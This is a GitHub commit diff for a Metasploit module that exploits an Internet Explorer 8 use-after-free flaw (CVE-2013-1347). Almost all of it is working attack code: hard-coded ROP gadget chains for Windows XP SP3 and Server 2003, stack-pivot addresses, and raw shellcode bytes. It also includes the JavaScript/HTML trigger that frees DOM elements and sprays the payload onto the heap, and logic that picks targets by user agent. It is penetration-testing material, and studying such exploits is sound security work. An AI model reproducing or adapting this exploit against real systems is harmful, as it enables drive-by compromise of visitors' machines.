Skip to content

Commit bdd2287

Browse files
author
jvazquez-r7
committed
Land rapid7#1809, @wchen-r7's modification for ie_cgenericelement_uaf
2 parents 0e51042 + 9a1400a commit bdd2287

File tree

1 file changed

+59
-119
lines changed

1 file changed

+59
-119
lines changed

modules/exploits/windows/browser/ie_cgenericelement_uaf.rb

Lines changed: 59 additions & 119 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,4 @@
11
##
2-
#
32
# This file is part of the Metasploit Framework and may be subject to
43
# redistribution and commercial restrictions. Please see the Metasploit
54
# Framework web site for more information on licensing and terms of use.
@@ -48,6 +47,7 @@ def initialize(info={})
4847
[
4948
[ 'CVE', '2013-1347' ],
5049
[ 'OSVDB', '92993' ],
50+
[ 'US-CERT-VU', '237655' ],
5151
[ 'URL', 'http://blogs.technet.com/b/msrc/archive/2013/05/03/microsoft-releases-security-advisory-2847140.aspx'],
5252
[ 'URL', 'http://r-7.co/IE8-DOL' ] # sinn3r's writeup
5353
],
@@ -82,7 +82,6 @@ def initialize(info={})
8282
end
8383

8484
def get_target(agent)
85-
#If the user is already specified by the user, we'll just use that
8685
return target if target.name != 'Automatic'
8786

8887
nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
@@ -114,80 +113,16 @@ def get_target(agent)
114113
return nil
115114
end
116115

117-
def ie8_smil(my_target, p)
118-
119-
case my_target['Rop']
120-
when :msvcrt
121-
case my_target.name
122-
when 'IE 8 on Windows XP SP3'
123-
align_esp = Rex::Text.to_unescape([0x77c4d801].pack("V*")) # ADD ESP, 2C; RET
124-
xchg_esp = Rex::Text.to_unescape([0x77c15ed5].pack("V*")) # XCHG EAX, ESP, RET
125-
when 'IE 8 on Windows Server 2003'
126-
align_esp = Rex::Text.to_unescape([0x77bde7f6].pack("V*"))
127-
xchg_esp = Rex::Text.to_unescape([0x77bcba5e].pack("V*"))
128-
end
129-
else
130-
align_esp = Rex::Text.to_unescape([0x7C3445F8].pack("V*"))
131-
xchg_esp = Rex::Text.to_unescape([0x7C348B05].pack("V*"))
132-
end
133-
134-
padding = Rex::Text.to_unescape(Rex::Text.rand_text_alpha(4))
135-
js_payload = Rex::Text.to_unescape(p)
136-
137-
js = %Q|
138-
unicorn = unescape("ABCD");
139-
unicorn2 = unescape("EEEE");
140-
for (i=0; i < 2; i++) {
141-
unicorn += unescape("ABCD");
142-
}unicorn += unescape("AB");
143-
144-
unicorn += unescape("#{js_payload}");
145-
146-
animvalues = unescape("#{align_esp}");
147-
148-
for (i=0; i < 0x70/4; i++) {
149-
if (i == 0x70/4-1) {
150-
animvalues += unescape("#{xchg_esp}");
151-
}
152-
else {
153-
animvalues += unescape("#{align_esp}");
154-
}
155-
}
156-
157-
animvalues += unicorn;
158-
159-
for(i = 0; i < 13; i++) {
160-
animvalues += ";red";
161-
}
162-
|
163-
164-
if datastore['OBFUSCATE']
165-
js = ::Rex::Exploitation::JSObfu.new(js)
166-
js.obfuscate
167-
end
168-
169-
return js
170-
end
171-
172-
def junk(n=4)
173-
return rand_text_alpha(n).unpack("V")[0].to_i
174-
end
175-
176-
def nop
177-
return make_nops(4).unpack("V")[0].to_i
178-
end
179-
180116
def get_payload(t, cli)
181-
code = payload.encoded
182-
183-
# No rop. Just return the payload.
184-
return code if t['Rop'].nil?
117+
rop_payload = ''
185118

186119
case t['Rop']
187120
when :msvcrt
188-
case t.name
189-
when 'IE 8 on Windows XP SP3'
190-
rop_gadgets =
121+
algin = "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
122+
chain = ''
123+
124+
if t.name == 'IE 8 on Windows XP SP3'
125+
chain =
191126
[
192127
0x77c1e844, # POP EBP # RETN [msvcrt.dll]
193128
0x77c1e844, # skip 4 bytes [msvcrt.dll]
@@ -212,8 +147,12 @@ def get_payload(t, cli)
212147
0x77c12df9, # PUSHAD # RETN [msvcrt.dll]
213148
0x77c35459 # ptr to 'push esp # ret ' [msvcrt.dll]
214149
].pack("V*")
215-
when 'IE 8 on Windows Server 2003'
216-
rop_gadgets =
150+
151+
elsif t.name == 'IE 8 on Windows Server 2003'
152+
junk = rand_text_alpha(4).unpack("V")[0].to_i
153+
nop = make_nops(4).unpack("V")[0].to_i
154+
155+
chain =
217156
[
218157
0x77bb2563, # POP EAX # RETN
219158
0x77ba1114, # <- *&VirtualProtect()
@@ -241,48 +180,39 @@ def get_payload(t, cli)
241180
0x77be6591 # PUSHAD # ADD AL,0EF # RETN
242181
].pack("V*")
243182
end
244-
else
245-
rop_gadgets =
246-
[
247-
0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
248-
0xfffffdff, # Value to negate, will become 0x00000201 (dwSize)
249-
0x7c347f98, # RETN (ROP NOP) [msvcr71.dll]
250-
0x7c3415a2, # JMP [EAX] [msvcr71.dll]
251-
0xffffffff,
252-
0x7c376402, # skip 4 bytes [msvcr71.dll]
253-
0x7c351e05, # NEG EAX # RETN [msvcr71.dll]
254-
0x7c345255, # INC EBX # FPATAN # RETN [msvcr71.dll]
255-
0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [msvcr71.dll]
256-
0x7c344f87, # POP EDX # RETN [msvcr71.dll]
257-
0xffffffc0, # Value to negate, will become 0x00000040
258-
0x7c351eb1, # NEG EDX # RETN [msvcr71.dll]
259-
0x7c34d201, # POP ECX # RETN [msvcr71.dll]
260-
0x7c38b001, # &Writable location [msvcr71.dll]
261-
0x7c347f97, # POP EAX # RETN [msvcr71.dll]
262-
0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
263-
0x7c378c81, # PUSHAD # ADD AL,0EF # RETN [msvcr71.dll]
264-
0x7c345c30 # ptr to 'push esp # ret ' [msvcr71.dll]
265-
# rop chain generated with mona.py
266-
].pack("V*")
267-
end
268183

269-
rop_payload = rop_gadgets
270-
case t['Rop']
271-
when :msvcrt
272-
rop_payload << "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
184+
rop_payload = chain + algin + payload.encoded
185+
273186
else
274-
rop_payload << "\x81\xEC\xF0\xD8\xFF\xFF" # sub esp, -10000
187+
code = "\x81\xEC\xF0\xD8\xFF\xFF" # sub esp, -10000
188+
code << payload.encoded
189+
code << rand_text_alpha(12000)
190+
191+
rop_payload = generate_rop_payload('java', code)
275192
end
276-
rop_payload << code
277-
rop_payload << rand_text_alpha(12000) unless t['Rop'] == :msvcrt
278193

279194
return rop_payload
280195
end
281196

282197
def load_exploit_html(my_target, cli)
198+
case my_target['Rop']
199+
when :msvcrt
200+
case my_target.name
201+
when 'IE 8 on Windows XP SP3'
202+
align_esp = Rex::Text.to_unescape([0x77c4d801].pack("V*")) # ADD ESP, 2C; RET
203+
xchg_esp = Rex::Text.to_unescape([0x77c15ed5].pack("V*")) # XCHG EAX, ESP, RET
204+
when 'IE 8 on Windows Server 2003'
205+
align_esp = Rex::Text.to_unescape([0x77bde7f6].pack("V*"))
206+
xchg_esp = Rex::Text.to_unescape([0x77bcba5e].pack("V*"))
207+
end
208+
else
209+
align_esp = Rex::Text.to_unescape([0x7C3445F8].pack("V*"))
210+
xchg_esp = Rex::Text.to_unescape([0x7C348B05].pack("V*"))
211+
end
212+
213+
padding = Rex::Text.to_unescape(Rex::Text.rand_text_alpha(4))
214+
js_payload = Rex::Text.to_unescape(get_payload(my_target, cli))
283215

284-
p = get_payload(my_target, cli)
285-
js = ie8_smil(my_target, p)
286216

287217
html = %Q|
288218
<!doctype html>
@@ -293,9 +223,10 @@ def load_exploit_html(my_target, cli)
293223
</meta>
294224
295225
<script>
226+
#{js_mstime_malloc}
227+
296228
function helloWorld()
297229
{
298-
#{js}
299230
f0 = document.createElement('span');
300231
document.body.appendChild(f0);
301232
f1 = document.createElement('span');
@@ -306,21 +237,32 @@ def load_exploit_html(my_target, cli)
306237
f2.appendChild(document.createElement('datalist'));
307238
f1.appendChild(document.createElement('span'));
308239
f1.appendChild(document.createElement('table'));
309-
try{
310-
f0.offsetParent=null;
311-
}catch(e) {
312240
313-
}f2.innerHTML="";
241+
try { f0.offsetParent=null;}
242+
catch(e) { }
243+
244+
f2.innerHTML = "";
314245
f0.appendChild(document.createElement('hr'));
315-
f1.innerHTML="";
246+
f1.innerHTML = "";
316247
317248
CollectGarbage();
318249
319-
try {
320-
a = document.getElementById('myanim');
321-
a.values = animvalues;
250+
sparkle = unescape("ABCD");
251+
for (i=0; i < 2; i++) {
252+
sparkle += unescape("ABCD");
322253
}
323-
catch(e) {}
254+
sparkle += unescape("AB");
255+
sparkle += unescape("#{js_payload}");
256+
257+
magenta = unescape("#{align_esp}");
258+
259+
for (i=0; i < 0x70/4; i++) {
260+
if (i == 0x70/4-1) { magenta += unescape("#{xchg_esp}"); }
261+
else { magenta += unescape("#{align_esp}"); }
262+
}
263+
264+
magenta += sparkle;
265+
mstime_malloc({shellcode:magenta, heapBlockSize:0x38, objId:"myanim"});
324266
}
325267
326268
</script>
@@ -341,7 +283,6 @@ def on_request_uri(cli, request)
341283
print_status("Requesting: #{uri}")
342284

343285
my_target = get_target(agent)
344-
# Avoid the attack if no suitable target found
345286
if my_target.nil?
346287
print_error("Browser not supported, sending 404: #{agent}")
347288
send_not_found(cli)
@@ -355,4 +296,3 @@ def on_request_uri(cli, request)
355296
end
356297

357298
end
358-

0 commit comments

Comments
 (0)